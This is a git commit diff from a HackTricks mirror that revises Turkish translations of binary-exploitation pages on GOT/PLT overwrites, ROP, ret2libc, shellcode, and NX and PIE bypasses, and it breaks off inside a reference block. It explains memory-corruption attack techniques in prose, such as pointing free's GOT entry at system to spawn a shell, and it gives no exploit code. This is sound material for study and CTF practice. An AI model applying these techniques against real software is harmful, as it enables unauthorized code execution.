mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-
This commit is contained in:
		
							parent
							
								
									c997e30947
								
							
						
					
					
						commit
						c6adc18dce
					
				@ -6,13 +6,13 @@
 | 
			
		||||
 | 
			
		||||
### **GOT: Global Offset Table**
 | 
			
		||||
 | 
			
		||||
**Global Offset Table (GOT)**, dinamik bağlantılı ikili dosyalarda **harici fonksiyonların adreslerini** yönetmek için kullanılan bir mekanizmadır. Bu **adresler çalışma zamanında** (dinamik bağlantı nedeniyle) bilinmediğinden, GOT, bu harici sembollerin adresleri çözüldüğünde **dinamik olarak güncellenmesini** sağlar.
 | 
			
		||||
**Global Offset Table (GOT)**, dinamik olarak bağlantılı ikili dosyalarda **harici fonksiyonların adreslerini** yönetmek için kullanılan bir mekanizmadır. Bu **adresler çalışma zamanında** (dinamik bağlantı nedeniyle) bilinmediğinden, GOT, bu harici sembollerin adresleri çözüldüğünde **dinamik olarak güncellenmesini** sağlar.
 | 
			
		||||
 | 
			
		||||
GOT'taki her giriş, ikilinin çağırabileceği harici kütüphanelerdeki bir sembole karşılık gelir. Bir **fonksiyon ilk kez çağrıldığında, gerçek adresi dinamik bağlayıcı tarafından çözülür ve GOT'a kaydedilir**. Aynı fonksiyona yapılan sonraki çağrılar, GOT'ta saklanan adresi kullanır ve böylece adresin tekrar çözülmesi için gereken yükten kaçınılır.
 | 
			
		||||
 | 
			
		||||
### **PLT: Procedure Linkage Table**
 | 
			
		||||
 | 
			
		||||
**Procedure Linkage Table (PLT)**, GOT ile yakından çalışır ve harici fonksiyonlara yapılan çağrıları yönetmek için bir trampolin görevi görür. Bir ikili dosya **ilk kez bir harici fonksiyonu çağırdığında, kontrol o fonksiyonla ilişkili PLT'deki bir girişe geçer**. Bu PLT girişi, fonksiyonun adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur eğer bu adres daha önce çözülmemişse. Adres çözüldükten sonra, **GOT**'a kaydedilir.
 | 
			
		||||
**Procedure Linkage Table (PLT)**, GOT ile yakından çalışır ve harici fonksiyonlara yapılan çağrıları yönetmek için bir trampolin görevi görür. Bir ikili dosya **ilk kez bir harici fonksiyonu çağırdığında, kontrol o fonksiyonla ilişkili PLT'deki bir girişe geçer**. Bu PLT girişi, fonksiyonun adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur, eğer bu adres daha önce çözülmemişse. Adres çözüldükten sonra, **GOT**'a kaydedilir.
 | 
			
		||||
 | 
			
		||||
**Bu nedenle,** GOT girişleri, bir harici fonksiyon veya değişkenin adresi çözüldüğünde doğrudan kullanılır. **PLT girişleri, bu adreslerin dinamik bağlayıcı aracılığıyla ilk çözümlemesini kolaylaştırmak için kullanılır.**
 | 
			
		||||
 | 
			
		||||
@ -24,11 +24,11 @@ GOT tablosunun adresini almak için: **`objdump -s -j .got ./exec`**
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
**Yükleme** sonrasında **GEF**'te **GOT**'ta bulunan **fonksiyonları** nasıl **görebileceğinizi** gözlemleyin: `gef➤ x/20x 0xADDR_GOT`
 | 
			
		||||
GEF'de **yürütülebilir dosyayı yükledikten sonra GOT'taki** **fonksiyonları** **görebileceğinizi** gözlemleyin: `gef➤ x/20x 0xADDR_GOT`
 | 
			
		||||
 | 
			
		||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
 | 
			
		||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
 | 
			
		||||
 | 
			
		||||
GEF kullanarak bir **hata ayıklama** oturumu **başlatabilir** ve GOT tablosunu görmek için **`got`** komutunu çalıştırabilirsiniz:
 | 
			
		||||
GEF kullanarak bir **hata ayıklama** oturumu başlatabilir ve GOT tablosunu görmek için **`got`** komutunu çalıştırabilirsiniz:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -38,17 +38,17 @@ Bir ikili dosyada GOT, **fonksiyonların adreslerini** veya **PLT** bölümüne
 | 
			
		||||
 | 
			
		||||
İdeal olarak, **parametrelerini kontrol ettiğiniz** bir **fonksiyonun GOT'unu** **geçersiz kılacaksınız** (böylece sistem fonksiyonuna gönderilen parametreleri kontrol edebileceksiniz).
 | 
			
		||||
 | 
			
		||||
Eğer **`system`** ikili dosya tarafından **kullanılmıyorsa**, sistem fonksiyonu **PLT'de** bir girişe sahip **olmayacaktır**. Bu senaryoda, önce **`system`** fonksiyonunun adresini **sızdırmanız** ve ardından GOT'u bu adrese işaret edecek şekilde **geçersiz kılmanız** gerekecektir.
 | 
			
		||||
Eğer **`system`** **ikili dosya tarafından kullanılmıyorsa**, sistem fonksiyonu **PLT'de** bir girişe sahip **olmayacaktır**. Bu senaryoda, önce **`system`** fonksiyonunun adresini sızdırmanız ve ardından GOT'u bu adrese işaret edecek şekilde geçersiz kılmanız gerekecektir.
 | 
			
		||||
 | 
			
		||||
PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** ile görebilirsiniz.
 | 
			
		||||
 | 
			
		||||
## libc GOT girişleri
 | 
			
		||||
 | 
			
		||||
**libc'nin GOT'u** genellikle **kısmi RELRO** ile derlenir, bu da onun adresini bulmanın mümkün olduğunu varsayarak iyi bir hedef haline getirir ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
 | 
			
		||||
**libc'nin GOT'u** genellikle **kısmi RELRO** ile derlenir, bu da onun adresini bulmanın mümkün olduğunu varsayarak iyi bir hedef haline getirir ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
 | 
			
		||||
 | 
			
		||||
libc'nin yaygın fonksiyonları, kod yürütme elde etmek için GOT'unun geçersiz kılınabileceği **diğer iç fonksiyonları** çağıracaktır.
 | 
			
		||||
libc'nin yaygın fonksiyonları, kod yürütmek için GOT'unun geçersiz kılınabileceği **diğer iç fonksiyonları** çağıracaktır.
 | 
			
		||||
 | 
			
		||||
Bu teknik hakkında [**daha fazla bilgi burada**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries) bulun.
 | 
			
		||||
Bu teknik hakkında [**daha fazla bilgi burada**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries) bulabilirsiniz.
 | 
			
		||||
 | 
			
		||||
### **Free2system**
 | 
			
		||||
 | 
			
		||||
@ -66,7 +66,7 @@ Ayrıca, `puts` kullanıcı girdisi ile kullanıldığında, `strlen` GOT adresi
 | 
			
		||||
../rop-return-oriented-programing/ret2lib/one-gadget.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## **Heap'ten GOT'u Kötüye Kullanma**
 | 
			
		||||
## **Heap'ten GOT'a Saldırı**
 | 
			
		||||
 | 
			
		||||
Heap zafiyetinden RCE elde etmenin yaygın bir yolu, hızlı bir binayı kötüye kullanmaktır, böylece GOT tablosunun bir kısmını hızlı binaya eklemek mümkün olur, böylece o parça tahsis edildiğinde **genellikle `free`** olan bir fonksiyonun işaretçisini **geçersiz kılmak** mümkün olacaktır.\
 | 
			
		||||
Sonra, `free`'yi `system`'a işaret edecek şekilde ayarlayıp `/bin/sh\x00` yazılmış bir parçayı serbest bıraktığınızda bir shell çalıştıracaktır.
 | 
			
		||||
 | 
			
		||||
@ -24,15 +24,15 @@ Bu kadar çok teknikle, her tekniğin ne zaman faydalı olacağına dair bir şe
 | 
			
		||||
 | 
			
		||||
Bir programın akışını kontrol etmenin farklı yolları vardır:
 | 
			
		||||
 | 
			
		||||
- [**Yığın Taşmaları**](../stack-overflow/) yığından dönüş işaretçisini veya EBP -> ESP -> EIP'yi yazma.
 | 
			
		||||
- [**Yığın Taşmaları**](../stack-overflow/index.html) yığından dönüş işaretçisini veya EBP -> ESP -> EIP'yi yazmak.
 | 
			
		||||
- Taşmayı sağlamak için bir [**Tam Sayı Taşması**](../integer-overflow.md) istismar etmeniz gerekebilir.
 | 
			
		||||
- Ya da **Rastgele Yazmalar + Yaz Ne Zaman Yürütme** yoluyla.
 | 
			
		||||
- [**Format dizeleri**](../format-strings/)**:** `printf`'i kullanarak rastgele içeriği rastgele adreslere yazma.
 | 
			
		||||
- [**Dizi İndeksleme**](../array-indexing.md): Bazı dizileri kontrol edebilmek ve rastgele yazma elde edebilmek için kötü tasarlanmış bir indekslemeyi istismar etme.
 | 
			
		||||
- [**Format dizeleri**](../format-strings/index.html)**:** `printf`'i kullanarak rastgele içeriği rastgele adreslere yazmak.
 | 
			
		||||
- [**Dizi İndeksleme**](../array-indexing.md): Bazı dizileri kontrol edebilmek ve rastgele yazma elde edebilmek için kötü tasarlanmış bir indekslemeyi istismar etmek.
 | 
			
		||||
- Taşmayı sağlamak için bir [**Tam Sayı Taşması**](../integer-overflow.md) istismar etmeniz gerekebilir.
 | 
			
		||||
- **bof'dan WWW'ye ROP ile**: Bir tampon taşmasını istismar ederek bir ROP oluşturma ve WWW'ye ulaşma.
 | 
			
		||||
- **bof'dan WWW'ye ROP**: Bir tampon taşmasını istismar ederek bir ROP oluşturmak ve WWW'ye ulaşmak.
 | 
			
		||||
 | 
			
		||||
**Yaz Ne Zaman Yürütme** tekniklerini şurada bulabilirsiniz:
 | 
			
		||||
**Yaz Ne Zaman Yürütme** tekniklerini bulabilirsiniz:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../arbitrary-write-2-exec/
 | 
			
		||||
@ -42,70 +42,70 @@ Bir programın akışını kontrol etmenin farklı yolları vardır:
 | 
			
		||||
 | 
			
		||||
Dikkate alınması gereken bir şey, genellikle **bir zafiyetin sadece bir kez sömürülmesinin yeterli olmayabileceğidir**; özellikle bazı korumaların aşılması gerekir. Bu nedenle, bir **tek zafiyeti aynı ikilinin yürütülmesi sırasında birkaç kez sömürülebilir hale getirmek** için bazı seçenekleri tartışmak ilginçtir:
 | 
			
		||||
 | 
			
		||||
- **`main` fonksiyonunun** adresini veya **zafiyetin** meydana geldiği adresi bir **ROP** zincirine yazma.
 | 
			
		||||
- **`main` fonksiyonunun** adresini veya **zafiyetin** meydana geldiği adresi bir **ROP** zincirine yazmak.
 | 
			
		||||
- Uygun bir ROP zincirini kontrol ederek, o zincirdeki tüm eylemleri gerçekleştirebilirsiniz.
 | 
			
		||||
- **`exit` adresini GOT'ta** (veya ikili tarafından bitirilmeden önce kullanılan herhangi bir fonksiyonda) **zafiyete geri dönme** adresi ile yazma.
 | 
			
		||||
- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**'de** burada, zafiyeti tekrar çağıracak bir fonksiyon ve **`__libc_csu_fini`** fonksiyonunu çağıracak bir fonksiyon saklayın; bu da `.fini_array`'dan fonksiyonu tekrar çağıracaktır.
 | 
			
		||||
- **`exit` adresini GOT'ta** (veya ikili tarafından bitirilmeden önce kullanılan herhangi bir fonksiyonda) **zafiyete geri dönmek** için adres yazmak.
 | 
			
		||||
- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**'de** açıklandığı gibi, burada zafiyeti tekrar çağıracak bir fonksiyon ve **`__libc_csu_fini`** fonksiyonunu çağıracak başka bir fonksiyon saklamak.
 | 
			
		||||
 | 
			
		||||
## Sömürü Hedefleri
 | 
			
		||||
 | 
			
		||||
### Hedef: Mevcut bir fonksiyonu çağırma
 | 
			
		||||
### Hedef: Mevcut bir fonksiyonu çağırmak
 | 
			
		||||
 | 
			
		||||
- [**ret2win**](#ret2win): Bayrağı almak için çağırmanız gereken (belki bazı özel parametrelerle) kodda bir fonksiyon var.
 | 
			
		||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/) **ve** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) **olmayan** bir **normal bof'da**, yığındaki saklanan dönüş adresine sadece adresi yazmanız yeterlidir.
 | 
			
		||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/) olan bir bof'da, bunu aşmanız gerekecek.
 | 
			
		||||
- [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) olan bir bof'da, bunu aşmanız gerekecek.
 | 
			
		||||
- **ret2win** fonksiyonunu doğru bir şekilde çağırmak için birkaç parametre ayarlamanız gerekiyorsa:
 | 
			
		||||
- Tüm parametreleri hazırlamak için yeterli gadget varsa bir [**ROP**](#rop-and-ret2...-techniques) **zinciri** kullanabilirsiniz.
 | 
			
		||||
- Birçok kaydı kontrol etmek için [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (bu syscall'ı çağırabiliyorsanız).
 | 
			
		||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **ve** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) olmayan bir **normal bof'da**, yığındaki saklanan dönüş adresine sadece adresi yazmanız yeterlidir.
 | 
			
		||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) olan bir bof'da, bunu aşmanız gerekecek.
 | 
			
		||||
- [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) olan bir bof'da, bunu aşmanız gerekecek.
 | 
			
		||||
- **ret2win** fonksiyonunu doğru bir şekilde çağırmak için birkaç parametre ayarlamanız gerekiyorsa, şunları kullanabilirsiniz:
 | 
			
		||||
- Tüm parametreleri hazırlamak için yeterli gadget varsa bir [**ROP**](#rop-and-ret2...-techniques) **zinciri**.
 | 
			
		||||
- Birçok kaydı kontrol etmek için [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (bu syscall'ı çağırabiliyorsanız).
 | 
			
		||||
- Birçok kaydı kontrol etmek için [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) ve [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) gadget'ları.
 | 
			
		||||
- [**Yaz Ne Zaman**](../arbitrary-write-2-exec/) yoluyla, **`win`** fonksiyonunu çağırmak için diğer zafiyetleri (bof olmayan) istismar edebilirsiniz.
 | 
			
		||||
- [**İşaretçi Yönlendirme**](../stack-overflow/pointer-redirecting.md): Yığın, çağrılacak bir fonksiyona veya ilginç bir fonksiyon (system veya printf) tarafından kullanılacak bir dizeye işaret eden işaretçiler içeriyorsa, o adresi yazmak mümkündür.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) adresleri etkileyebilir.
 | 
			
		||||
- [**Yaz Ne Zaman**](../arbitrary-write-2-exec/index.html) ile, **`win`** fonksiyonunu çağırmak için diğer zafiyetleri (bof değil) istismar edebilirsiniz.
 | 
			
		||||
- [**İşaretçi Yönlendirme**](../stack-overflow/pointer-redirecting.md): Yığın, çağrılacak bir fonksiyona veya ilginç bir fonksiyon (system veya printf) tarafından kullanılacak bir dizeye işaretçi içeriyorsa, o adresi yazmak mümkündür.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) veya [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) adresleri etkileyebilir.
 | 
			
		||||
- [**Başlatılmamış değişkenler**](../stack-overflow/uninitialized-variables.md): Asla bilemezsiniz.
 | 
			
		||||
 | 
			
		||||
### Hedef: RCE
 | 
			
		||||
 | 
			
		||||
#### Shellcode aracılığıyla, eğer nx devre dışıysa veya shellcode ile ROP'u karıştırarak:
 | 
			
		||||
#### Shellcode aracılığıyla, eğer nx devre dışıysa veya shellcode'u ROP ile karıştırıyorsanız:
 | 
			
		||||
 | 
			
		||||
- [**(Yığın) Shellcode**](#stack-shellcode): Bu, dönüş işaretçisini yazmadan önce veya sonra yığında bir shellcode saklamak ve ardından **ona atlamak** için yararlıdır:
 | 
			
		||||
- Her durumda, eğer bir [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) **varsa**, normal bir bof'da bunu aşmanız gerekecek (sızdırma).
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) **olmaksızın**, yığın adresine atlamak mümkündür çünkü asla değişmeyecektir.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ile**, ona atlamak için [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) gibi tekniklere ihtiyacınız olacak.
 | 
			
		||||
- [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) **ile**, bazı [**ROP**](../rop-return-oriented-programing/) **kullanarak `memprotect` çağırmanız** ve bazı sayfaları `rwx` yapmanız gerekecek; ardından shellcode'u oraya **saklamak** (örneğin, read çağırarak) ve oraya atlamak.
 | 
			
		||||
- Bu, shellcode ile bir ROP zincirini karıştıracaktır.
 | 
			
		||||
- [**(Yığın) Shellcode**](#stack-shellcode): Bu, dönüş işaretçisini yazdıktan önce veya sonra yığında bir shellcode saklamak ve ardından **ona atlamak** için yararlıdır:
 | 
			
		||||
- Her durumda, eğer bir [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)** varsa**, normal bir bof'da bunu aşmanız gerekecek (sızdırmak).
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **ve** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) olmadan, yığın adresine atlamak mümkündür çünkü asla değişmeyecektir.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ile, ona atlamak için [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) gibi tekniklere ihtiyacınız olacak.
 | 
			
		||||
- [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) ile, bazı [**ROP**](../rop-return-oriented-programing/index.html) kullanmanız gerekecek **`memprotect`** çağırmak ve bazı sayfaları `rwx` yapmak için, ardından **shellcode'u oraya saklamak** (örneğin read çağırarak) ve sonra oraya atlamak.
 | 
			
		||||
- Bu, shellcode'u bir ROP zinciri ile karıştıracaktır.
 | 
			
		||||
 | 
			
		||||
#### Syscall'lar aracılığıyla
 | 
			
		||||
 | 
			
		||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Rastgele komutları çalıştırmak için `execve` çağırmak için yararlıdır. **Belirli syscall'ı parametrelerle çağırmak için gadget'ları bulabilmeniz gerekir.**
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) etkinse, **ROP gadget'larını** kullanmak için bunları aşmanız gerekecek.
 | 
			
		||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) **ret2execve'yi** hazırlamak için yararlı olabilir.
 | 
			
		||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Rastgele komutları çalıştırmak için `execve` çağırmak için yararlıdır. **Belirli syscall'ı parametrelerle çağırmak için gadget'ları bulabilmeniz gerekir.**
 | 
			
		||||
- Eğer [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) veya [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) etkinse, **ROP gadget'larını** kullanmak için bunları aşmanız gerekecek.
 | 
			
		||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) **ret2execve**'yi hazırlamak için yararlı olabilir.
 | 
			
		||||
- Birçok kaydı kontrol etmek için [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) ve [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) gadget'ları.
 | 
			
		||||
 | 
			
		||||
#### libc aracılığıyla
 | 
			
		||||
 | 
			
		||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Genellikle **`libc`**'den bir fonksiyonu (örneğin, **`system`**) bazı hazırlanmış argümanlarla (örn. `'/bin/sh'`) çağırmak için yararlıdır. İstediğiniz fonksiyonu çağırmak için ikilinin **kütüphaneyi yüklemesi** gerekir (genellikle libc).
 | 
			
		||||
- **Statik derlenmiş ve** [**PIE**](../common-binary-protections-and-bypasses/pie/) **yoksa**, `system` ve `/bin/sh`'nin **adresleri** değişmeyecek, bu nedenle bunları statik olarak kullanmak mümkündür.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **olmaksızın** **ve yüklü libc sürümünü bilerek**, `system` ve `/bin/sh`'nin **adresleri** değişmeyecek, bu nedenle bunları statik olarak kullanmak mümkündür.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **varsa** ancak [**PIE**](../common-binary-protections-and-bypasses/pie/) **yoksa**, libc'yi bilerek ve ikili `system` **fonksiyonunu kullanıyorsa**, **GOT'taki system adresine** `'/bin/sh'` adresi ile **`ret`** yapmanız mümkündür (bunu çözmeniz gerekecek).
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **varsa** ancak [**PIE**](../common-binary-protections-and-bypasses/pie/) **yoksa**, libc'yi bilerek ve **ikili `system`** kullanmıyorsanız:
 | 
			
		||||
- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) kullanarak `system`'in adresini çözümleyin ve çağırın.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **aşın** ve `system` ile `'/bin/sh'`'nin adresini bellek içinde hesaplayın.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**PIE**](../common-binary-protections-and-bypasses/pie/) **ve libc'yi bilmeden**: Şunları yapmanız gerekir:
 | 
			
		||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/) aşın.
 | 
			
		||||
- Kullanılan **`libc` sürümünü** bulun (birkaç fonksiyon adresini sızdırın).
 | 
			
		||||
- Devam etmek için **ASLR ile önceki senaryoları** kontrol edin.
 | 
			
		||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Genellikle **`libc`**'den bir fonksiyonu (örneğin **`system`**) bazı hazırlanmış argümanlarla (örneğin `'/bin/sh'`) çağırmak için yararlıdır. Çağırmak istediğiniz fonksiyonla birlikte **kütüphaneyi yüklemek** için ikiliyi kullanmanız gerekir (genellikle libc).
 | 
			
		||||
- **Statik derlenmiş ve** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) yoksa, `system` ve `/bin/sh`'nin **adresleri** değişmeyecek, bu nedenle bunları statik olarak kullanmak mümkündür.
 | 
			
		||||
- **ASLR** olmadan **ve yüklü libc sürümünü bilerek**, `system` ve `/bin/sh`'nin **adresleri** değişmeyecek, bu nedenle bunları statik olarak kullanmak mümkündür.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **ama** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) yoksa, libc'yi bilerek ve ikili `system` fonksiyonunu kullanıyorsa, **GOT'taki system adresine** `'/bin/sh'` adresi ile **`ret`** yapmanız mümkündür (bunu çözmeniz gerekecek).
 | 
			
		||||
- [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) ama [PIE](../common-binary-protections-and-bypasses/pie/index.html) yoksa, libc'yi bilerek ve **ikili `system` fonksiyonunu kullanmıyorsanız**:
 | 
			
		||||
- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) kullanarak `system`'in adresini çözmek ve çağırmak.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) aşmak ve `system` ve `'/bin/sh'` adreslerini bellek içinde hesaplamak.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **ve** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **ve libc'yi bilmeden**: Şunları yapmanız gerekir:
 | 
			
		||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) aşmak.
 | 
			
		||||
- Kullanılan **`libc` sürümünü** bulmak (birkaç fonksiyon adresini sızdırmak).
 | 
			
		||||
- Devam etmek için **ASLR ile önceki senaryoları** kontrol etmek.
 | 
			
		||||
 | 
			
		||||
#### EBP/RBP aracılığıyla
 | 
			
		||||
 | 
			
		||||
- [**Yığın Pivotlama / EBP2Ret / EBP Zincirleme**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Yığındaki saklanan EBP aracılığıyla RET'i kontrol etmek için ESP'yi kontrol edin.
 | 
			
		||||
- **Birden fazla** yığın taşmaları için yararlıdır.
 | 
			
		||||
- Yüklemenin bellek içinde payload'u oluştururken EIP'i istismar ederek EIP'i kontrol etmenin alternatif bir yolu olarak yararlıdır ve ardından EBP aracılığıyla ona atlayın.
 | 
			
		||||
- **Birden fazla** yığın taşmalarında yararlıdır.
 | 
			
		||||
- Yüklemenin hafızada oluşturulması ve ardından EBP aracılığıyla ona atlamak için EIP'yi kontrol etmenin alternatif bir yolu olarak yararlıdır.
 | 
			
		||||
 | 
			
		||||
#### Çeşitli
 | 
			
		||||
 | 
			
		||||
- [**İşaretçi Yönlendirme**](../stack-overflow/pointer-redirecting.md): Yığın, çağrılacak bir fonksiyona veya ilginç bir fonksiyon (system veya printf) tarafından kullanılacak bir dizeye işaret eden işaretçiler içeriyorsa, o adresi yazmak mümkündür.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) adresleri etkileyebilir.
 | 
			
		||||
- [**İşaretçi Yönlendirme**](../stack-overflow/pointer-redirecting.md): Yığın, çağrılacak bir fonksiyona veya ilginç bir fonksiyon (system veya printf) tarafından kullanılacak bir dizeye işaretçi içeriyorsa, o adresi yazmak mümkündür.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) veya [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) adresleri etkileyebilir.
 | 
			
		||||
- [**Başlatılmamış değişkenler**](../stack-overflow/uninitialized-variables.md): Asla bilemezsiniz.
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -8,9 +8,9 @@
 | 
			
		||||
 | 
			
		||||
## Bypass'ler
 | 
			
		||||
 | 
			
		||||
- Bu korumayı aşmak için [**ROP**](../rop-return-oriented-programing/) gibi teknikler kullanmak mümkündür; bu, ikili dosyada zaten mevcut olan çalıştırılabilir kod parçalarını çalıştırarak yapılır.
 | 
			
		||||
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
 | 
			
		||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
 | 
			
		||||
- Bu korumayı aşmak için [**ROP**](../rop-return-oriented-programing/index.html) gibi tekniklerin kullanılması mümkündür; bu, ikili dosyada zaten mevcut olan çalıştırılabilir kod parçalarını çalıştırarak yapılır.
 | 
			
		||||
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
 | 
			
		||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
 | 
			
		||||
- **Ret2...**
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -4,7 +4,7 @@
 | 
			
		||||
 | 
			
		||||
## Temel Bilgiler
 | 
			
		||||
 | 
			
		||||
PIE olarak derlenmiş bir ikili, yani **Konum Bağımsız Yürütülebilir**, **programın her çalıştırıldığında farklı bellek konumlarında yüklenebileceği** anlamına gelir, bu da sabit adreslerin önüne geçer.
 | 
			
		||||
PIE olarak derlenmiş bir ikili, yani **Pozisyon Bağımsız Yürütülebilir**, **programın her çalıştırıldığında farklı bellek konumlarında yüklenebileceği** anlamına gelir, bu da sabit adreslerin önüne geçer.
 | 
			
		||||
 | 
			
		||||
Bu ikilileri istismar etmenin püf noktası, **göreceli adresleri** istismar etmektir—programın parçaları arasındaki ofsetler, mutlak konumlar değişse bile aynı kalır. **PIE'yi atlatmak için yalnızca bir adres sızdırmanız gerekir**, genellikle **yığın** üzerinden format dizesi saldırıları gibi zafiyetler kullanarak. Bir adres elde ettiğinizde, diğerlerini **sabit ofsetleri** ile hesaplayabilirsiniz.
 | 
			
		||||
 | 
			
		||||
@ -15,15 +15,15 @@ Ya da bunu istismarınız için kullanabilirsiniz, eğer bir adresin **`0x649e10
 | 
			
		||||
 | 
			
		||||
PIE'yi atlatmak için, yüklenmiş ikilinin **bir adresini sızdırmak** gereklidir, bunun için bazı seçenekler vardır:
 | 
			
		||||
 | 
			
		||||
- **ASLR'yi devre dışı bırakma**: ASLR devre dışı bırakıldığında, PIE ile derlenmiş bir ikili her zaman **aynı adreste yüklenecektir**, bu nedenle **PIE işe yaramaz** çünkü nesnelerin adresleri her zaman aynı yerde olacaktır.
 | 
			
		||||
- **ASLR devre dışı**: ASLR devre dışı bırakıldığında, PIE ile derlenmiş bir ikili her zaman **aynı adreste yüklenecektir**, bu nedenle **PIE işe yaramaz** çünkü nesnelerin adresleri her zaman aynı yerde olacaktır.
 | 
			
		||||
- Sızıntıyı **almak** (kolay CTF zorluklarında yaygındır, [**bu örneğe bakın**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
 | 
			
		||||
- Yığındaki **EBP ve EIP değerlerini** doğru olanları sızdırana kadar **kaba kuvvet** ile denemek:
 | 
			
		||||
- Yığındaki **doğru EBP ve EIP değerlerini sızdırana kadar brute-force** yapmak:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
bypassing-canary-and-pie.md
 | 
			
